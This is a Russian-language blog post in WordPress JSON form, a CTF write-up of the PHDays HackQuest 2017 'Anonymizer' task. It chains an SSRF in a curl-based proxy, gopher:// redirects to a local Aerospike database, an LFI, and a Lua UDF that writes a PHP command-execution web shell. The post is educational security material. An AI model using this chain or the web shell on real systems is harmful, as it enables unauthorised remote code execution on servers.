{"id":286417,"date":"2017-05-16T14:35:03","date_gmt":"2017-05-16T10:35:03","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=286417"},"modified":"-0001-11-30T00:00:00","modified_gmt":"2017-05-16T10:35:03","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=286417","title":{"rendered":"[PHDays HackQuest 2017] Anonymizer: SSRF \u0438\u043b\u0438 \u0447\u0435\u043c \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043e\u043f\u0430\u0441\u0435\u043d curl"},"content":{"rendered":"<p>\u0420\u0430\u0437\u0431\u043e\u0440 \u0437\u0430\u0434\u0430\u043d\u0438\u044f Anonymizer (\u043f\u043e\u043a\u0430 \u0435\u0449\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e <a href=\"https:\/\/anonymizer.rosnadzorcom.ru\">\u0442\u0443\u0442<\/a>) \u0441 PHDays HackQuest 2017. <\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/web\/79e\/03d\/2f0\/79e03d2f07c046a1a283152c615af660.png\"\/><\/p>\n<p>  <a name=\"habracut\"><\/a>  <\/p>\n<p>\u041f\u043e\u0441\u043b\u0435 \u043d\u0430\u0436\u0430\u0442\u0438\u044f \u043a\u043d\u043e\u043f\u043a\u0438 &quot;GO&quot; \u043a \u0441\u0430\u0439\u0442\u0443 \u0443\u0445\u043e\u0434\u0438\u0442 \u0442\u0430\u043a\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/web\/fb3\/6d7\/fa6\/fb36d7fa61854d5e93bc1d6c933e0788.png\"\/><\/p>\n<p>  <\/p>\n<p>\u0418 \u0432 \u043e\u0442\u0432\u0435\u0442\u0435 \u043c\u044b \u0432\u0438\u0434\u0438\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0437\u0430\u043f\u0440\u043e\u0448\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0430\u043c\u0438 \u0441\u0430\u0439\u0442\u0430:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/web\/be0\/166\/1eb\/be01661eb732405b94a29ffabf75ead2.png\"\/><\/p>\n<p>  <\/p>\n<p>\u041f\u0440\u043e\u0431\u0443\u0435\u043c \u0432\u043c\u0435\u0441\u0442\u0435 google.com \u043f\u043e\u043f\u0440\u043e\u0441\u0438\u0442\u044c \u0410\u043d\u043e\u043d\u0438\u043c\u0430\u0439\u0437\u0435\u0440 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u043d\u0430\u043c 127.0.0.1 \u0438 \u0432\u0438\u0434\u0438\u043c, \u0447\u0442\u043e \u0432 \u043e\u0442\u0432\u0435\u0442\u0435 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u0433\u043b\u0430\u0432\u043d\u0430\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u0410\u043d\u043e\u043d\u0438\u043c\u0430\u0439\u0437\u0435\u0440\u0430. \u042d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e IP-\u0430\u0434\u0440\u0435\u0441 \u0445\u043e\u0441\u0442\u0430, \u043a \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441, \u043d\u0438\u043a\u0430\u043a \u043d\u0435 \u0432\u0430\u043b\u0438\u0434\u0438\u0440\u0443\u0435\u0442\u0441\u044f, \u0438 \u043c\u044b, \u043f\u043e\u043b\u044c\u0437\u0443\u044f\u0441\u044c \u044d\u0442\u0438\u043c, \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u0438\u0441\u043a\u0430\u0442\u044c \u043a\u0430\u043a\u043e\u0439-\u043d\u0438\u0431\u0443\u0434\u044c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441, \u0441\u043b\u0443\u0448\u0430\u044e\u0449\u0438\u0439 \u043e\u0434\u0438\u043d \u0438\u0437 \u043f\u043e\u0440\u0442\u043e\u0432 \u043d\u0430 \u043b\u043e\u043a\u0430\u043b\u0445\u043e\u0441\u0442\u0435. \u0427\u0430\u0441\u0442\u043e, \u0435\u0441\u043b\u0438 \u0441\u0435\u0440\u0432\u0438\u0441 \u0441\u043b\u0443\u0448\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043b\u043e\u043a\u0430\u043b\u0445\u043e\u0441\u0442, \u043d\u0430 \u043d\u0435\u043c \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u044e\u0442 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0441\u044b\u0433\u0440\u0430\u0442\u044c \u043d\u0430\u043c \u043d\u0430 \u0440\u0443\u043a\u0443.<\/p>\n<p>  <\/p>\n<p>\u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u043f\u0440\u043e\u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u043d\u0430 127.0.0.1 \u043f\u043e\u0440\u0442\u044b. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043d\u0430\u043f\u0438\u0448\u0435\u043c \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0441\u043a\u0440\u0438\u043f\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0432\u0438\u0434\u0430 <code>https:\/\/anonymizer.rosnadzorcom.ru\/?url=127.0.0.1:&lt;port&gt;&amp;page=curl&amp;submit=111<\/code> \u0438 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u043f\u0440\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0430\u0445 \u043a \u043f\u043e\u0440\u0442\u0430\u043c 3001 \u0438 3003 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u043f\u0430\u0434\u0430\u0435\u0442 \u043f\u043e \u0442\u0430\u0439\u043c\u0430\u0443\u0442\u0443. <\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/web\/442\/a40\/d04\/442a40d04e524c4f9b791a71d1034794.png\"\/><\/p>\n<p>  <\/p>\n<p>\u0413\u0443\u0433\u043b \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u043f\u043e\u0440\u0442\u044b 3000-3003 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 NOSQL \u0421\u0423\u0411\u0414 <a href=\"http:\/\/www.aerospike.com\/docs\/operations\/configure\/network\">Aerospike<\/a>.<\/p>\n<p>  <\/p>\n<p>\u0421\u0430\u043c\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u0434\u043b\u044f \u043d\u0430\u0441 \u043f\u043e\u0440\u0442 \u2014 3000, \u0442.\u043a. \u043f\u043e \u043d\u0435\u043c\u0443 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0421\u0423\u0411\u0414, \u043d\u043e \u0441\u0430\u043c \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043d\u0435 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 (\u0432 \u043e\u0442\u043b\u0438\u0447\u0438\u0435, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043e\u0442 Redis). \u0417\u0434\u0435\u0441\u044c \u043d\u0430\u043c \u043f\u043e\u043c\u043e\u0436\u0435\u0442 \u0442\u043e, \u0447\u0442\u043e \u0410\u043d\u043e\u043d\u0438\u043c\u0430\u0439\u0437\u0435\u0440 \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0431-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e curl, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u043c\u0435\u0435\u0442 \u0431\u043e\u0433\u0430\u0442\u0435\u0439\u0448\u0435\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0434\u043b\u044f SSRF (\u0432\u043e\u0442 <a href=\"https:\/\/hackerone.com\/reports\/115748\">\u043e\u0434\u0438\u043d \u0438\u0437 \u043b\u0443\u0447\u0448\u0438\u0445 \u043c\u0430\u043d\u0443\u0430\u043b\u043e\u0432 \u043f\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 SSRF \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e curl<\/a>).<\/p>\n<p>  <\/p>\n<p>\u041c\u044b \u0431\u0443\u0434\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0442\u043e, \u0447\u0442\u043e curl \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b Gopher, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0441\u043b\u0430\u0442\u044c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e curl \u043b\u044e\u0431\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e TCP \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0432\u0438\u0434\u0430 <code>gopher:\/\/&lt;host&gt;\/&lt;url-encoded-data&gt;<\/code> (\u0443\u0434\u043e\u0431\u043d\u043e, \u043f\u0440\u0430\u0432\u0434\u0430?). \u0410 \u0434\u043b\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441 \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0435\u0439 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0442\u0440\u044e\u043a\u043e\u043c \u0441 \u043f\u0435\u0440\u0435\u0430\u0434\u0440\u0435\u0441\u0430\u0446\u0438\u0435\u0439: \u0431\u0443\u0434\u0435\u043c \u0434\u0435\u043b\u0430\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a \u043d\u0430\u0448\u0435\u043c\u0443 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0443, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0431\u0443\u0434\u0435\u0442 \u043b\u0435\u0436\u0430\u0442\u044c \u0442\u0430\u043a\u043e\u0439 \u0441\u043a\u0440\u0438\u043f\u0442:<\/p>\n<p>  <\/p>\n<pre><code>&lt;?php         header('Location: gopher:\/\/127.0.0.1:3000\/&lt;url-encoded-data&gt;'); ?&gt;<\/code><\/pre>\n<p>  <\/p>\n<p>\u0422.\u043a. \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 Aerospike \u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0439, \u0447\u0442\u043e\u0431\u044b \u043d\u0435 \u0442\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u0440\u0435\u043c\u044f \u043d\u0430 \u0435\u0433\u043e \u0440\u0430\u0437\u0431\u043e\u0440, \u043f\u043e\u0434\u043d\u0438\u043c\u0435\u043c \u044d\u0442\u0443 \u0421\u0423\u0411\u0414 \u0443 \u0441\u0435\u0431\u044f \u043d\u0430 \u0445\u043e\u0441\u0442\u0435 \u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u043a\u0430\u043a\u043e\u0439 \u0442\u0440\u0430\u0444\u0438\u043a \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442 \u0443\u0442\u0438\u043b\u0438\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f aql \u043f\u0440\u0438 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u0430\u0445. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432\u043e\u0442 \u0442\u0440\u0430\u0444\u0438\u043a, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 &quot;SHOW NAMESPACES&quot;.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/web\/cbd\/166\/7da\/cbd1667da34f45ccba11163c9da04874.png\"\/><\/p>\n<p>  <\/p>\n<p>\u0417\u0430\u043f\u0438\u0445\u0430\u0435\u043c \u0431\u0430\u0439\u0442\u044b \u0438\u0437 \u0434\u0430\u043c\u043f\u0430 \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a <code>Location<\/code> \u0438 \u0441\u0440\u0430\u0432\u043d\u0438\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0448\u0442\u0430\u0442\u043d\u044b\u043c\u0438 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430\u043c\u0438 \u043d\u0430 \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u0439 \u0421\u0423\u0411\u0414.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/web\/b23\/44d\/699\/b2344d699f8840efb03cab64fe820a57.png\"\/><\/p>\n<p>  <\/p>\n<p>\u0438 \u043d\u0430 \u0442\u0430\u0441\u043a\u043e\u0432\u043e\u0439 \u0421\u0423\u0411\u0414 \u0447\u0435\u0440\u0435\u0437 SSRF.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/web\/cbe\/856\/e90\/cbe856e90b04497cae88563caa7460bb.png\"\/><\/p>\n<p>  <\/p>\n<p>\u041f\u043e-\u043c\u043e\u0435\u043c\u0443, \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043f\u043e\u0445\u043e\u0436\u0435.<\/p>\n<p>  <\/p>\n<p>\u041f\u043e\u0441\u043b\u0435 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0438\u0445 \u043f\u043b\u044f\u0441\u043e\u043a \u0432\u043e\u043a\u0440\u0443\u0433 \u0421\u0423\u0411\u0414 \u0441\u0442\u0430\u043b\u043e \u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0447\u0442\u043e \u0444\u043b\u0430\u0433\u0430 \u0432 \u0441\u0430\u043c\u043e\u0439 \u0411\u0414 \u043d\u0435\u0442. \u0417\u043d\u0430\u0447\u0438\u0442, \u043d\u0430\u0434\u043e \u0435\u0433\u043e \u0434\u043e\u0441\u0442\u0430\u0432\u0430\u0442\u044c \u0438\u0437 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u0422.\u043a. \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0441 \u0424\u0421 \u0432 \u0441\u0442\u043e\u043a\u043e\u0432\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Aerospike \u043d\u0435\u043b\u044c\u0437\u044f, \u043d\u0430\u0434\u043e \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u0442\u044c \u0441\u043f\u043e\u0441\u043e\u0431 \u0437\u0430\u043b\u0438\u0432\u043a\u0438 \u0438 \u0430\u043a\u0442\u0438\u0432\u0430\u0446\u0438\u0438 php-\u0448\u0435\u043b\u043b\u0430. \u0417\u0434\u0435\u0441\u044c \u043d\u0430\u043c \u043f\u043e\u043c\u043e\u0436\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Local File Inclusion, \u0432\u043e\u0437\u043d\u0438\u043a\u0448\u0430\u044f \u0438\u0437-\u0437\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 <code>page<\/code>. <\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/web\/0a7\/31d\/bce\/0a731dbce5c7455989ae7f80ba2e80bd.png\"\/><\/p>\n<p>  <\/p>\n<p>\u0418 \u0442\u0430\u043a, \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u0441\u043f\u043e\u0441\u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u0430\u0446\u0438\u0438 \u0448\u0435\u043b\u043b\u0430, \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0435\u0433\u043e \u043d\u0430 \u0445\u043e\u0441\u0442. \u041a\u0441\u0442\u0430\u0442\u0438 \u043f\u0440\u0438\u0434\u0435\u0442\u0441\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0432 Aerospike User Defined Functions, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0445 \u043d\u0430 LUA. \u041f\u0438\u0448\u0435\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u044e, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u043f\u0438\u0448\u0435\u0442 \u0448\u0435\u043b\u043b \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 \/var\/www\/html\/sl4v.php.<\/p>\n<p>  <\/p>\n<pre><code>function hello_world()     file = io.open(&quot;\/var\/www\/html\/sl4v.php&quot;, &quot;w&quot;)     file:write(&quot;&lt;?php if(isset($_REQUEST['cmd'])){echo '&lt;pre&gt;'; $cmd = ($_REQUEST['cmd']); system($cmd); echo '&lt;\/pre&gt;'; die;}?&gt;&quot;)     file:close()   return &quot;1&quot; end<\/code><\/pre>\n<p>  <\/p>\n<p>\u0421 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u0439 <code>REGISTER MODULE<\/code> \u0438 <code>EXECUTE &lt;module&gt;.&lt;function&gt;(&lt;args&gt;) ON &lt;ns&gt;[.&lt;set&gt;]<\/code> \u0441\u043e\u0437\u0434\u0430\u0435\u043c \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c UDF \u043d\u0430 \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u0439 \u0431\u0430\u0437\u0435, \u043f\u0438\u0448\u0435\u043c \u0442\u0440\u0430\u0444\u0438\u043a, \u043f\u043e\u0441\u044b\u043b\u0430\u0435\u043c \u0437\u0430\u043f\u0440\u043e\u0441 \u0447\u0435\u0440\u0435\u0437 SSRF \u0438 \u0432\u0438\u0434\u0438\u043c, \u0447\u0442\u043e UDF \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b\u0430\u0441\u044c, \u043d\u043e \u0441 \u043e\u0448\u0438\u0431\u043a\u043e\u0439.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/web\/4f3\/8f1\/373\/4f38f1373ff4454792f436258a5204ba.png\"\/><\/p>\n<p>  <\/p>\n<p>\u041f\u043e\u0445\u043e\u0436\u0435, \u0447\u0442\u043e \u0421\u0423\u0411\u0414 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u0430\u0432 \u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u043f\u0430\u043f\u043a\u0443 <code>\/var\/www\/html\/<\/code>, \u043d\u043e \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u0430\u0432\u0430 \u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u043f\u0430\u043f\u043a\u0443 <code>opt\/aerospike\/usr\/udf\/lua\/<\/code>. \u041e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0435\u0440\u0435\u0437\u0430\u043b\u0438\u0442\u044c \u0448\u0435\u043b\u043b \u0441 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u043c \u043f\u0443\u0442\u0435\u043c \u0438 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0438\u0441\u043a\u0430\u0442\u044c \u0444\u043b\u0430\u0433.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/web\/cec\/18b\/403\/cec18b4038a74e859ff67c079456fac0.png\"\/><\/p>\n<p>  <\/p>\n<p>\u0421\u043f\u0430\u0441\u0438\u0431\u043e \u0437\u0430 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435!<\/p>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habrahabr.ru\/post\/328782\/\"> https:\/\/habrahabr.ru\/post\/328782\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u0420\u0430\u0437\u0431\u043e\u0440 \u0437\u0430\u0434\u0430\u043d\u0438\u044f Anonymizer (\u043f\u043e\u043a\u0430 \u0435\u0449\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e <a href=\"https:\/\/anonymizer.rosnadzorcom.ru\">\u0442\u0443\u0442<\/a>) \u0441 PHDays HackQuest 2017. <\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/web\/79e\/03d\/2f0\/79e03d2f07c046a1a283152c615af660.png\"\/><\/p>\n<p>  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-286417","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/286417","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=286417"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/286417\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=286417"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=286417"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=286417"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}